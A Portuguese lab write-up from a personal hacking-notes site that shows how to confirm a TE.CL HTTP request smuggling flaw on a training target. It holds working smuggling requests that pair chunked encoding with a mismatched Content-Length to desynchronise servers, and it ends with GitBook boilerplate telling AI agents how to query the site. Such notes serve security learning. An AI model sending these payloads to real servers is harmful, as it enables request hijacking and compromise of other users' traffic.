> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md).

# Confirmação de uma Vulnerabilidade TE.CL por Respostas Diferenciais

### HTTP Request Smuggling, Confirmando uma vulnerabilidade TE.CL por meio de respostas diferenciais

O **front-end** o servidor aceita codificação chunked, enquanto o **back-end** não oferece suporte a isso. / O objetivo é injetar uma solicitação mascarada no servidor interno e, em seguida, enviar uma requisição para **/** para causar uma resposta **404 Não encontrado**, confirmando assim a dessincronização.

Embora a aplicação permita o uso de HTTP/2, a técnica explorável depende exclusivamente de **HTTP/1**comportamentos específicos do protocolo, o que exige alteração manual do protocolo no Burp Repeater.

#### **Princípio do TE.CL**

Para testar a presença de uma vulnerabilidade **TE.CL**, os campos ligados ao comprimento são manipulados. / Ao definir voluntariamente um **Content-Length maior** do que o tamanho real do corpo, força-se um deslocamento interpretado de forma diferente por ambos os servidores. / Por exemplo, um corpo chunked de 13 bytes pode ser declarado como:

```http
Content-Length: 15

3
abc
0


```

Isso é suficiente para causar dessincronização.

<figure><img src="/files/02787be63543cfde3f8606114a62a748757fc00a" alt=""><figcaption></figcaption></figure>

#### **Codificação hexadecimal de chunk**

O tamanho do fragmento a seguir deve ser calculado em hexadecimal:

```http
POST /error HTTP/1.1
Teste: A
```

<figure><img src="/files/309054afefd8aa395e5529d4afd55ba2d631e417" alt=""><figcaption></figcaption></figure>

Uma primeira tentativa é enviar apenas o tamanho do chunk (4 bytes):

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
Teste: A
0


```

No entanto, essa versão não é tratada pelos servidores como duas requisições separadas, o que impede o funcionamento adequado.

Para obter um comportamento confiável, o back-end deve interpretar a requisição injetada como uma requisição HTTP válida. / O campo **Content-Length** é "inflado" ao enviar um chunk maior:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

Ao enviar esta requisição **em duas ocasiões**, ocorre dessincronização e o ataque funciona como esperado.

<figure><img src="/files/7827224fd32175c627b17d608b985f409da75d4f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
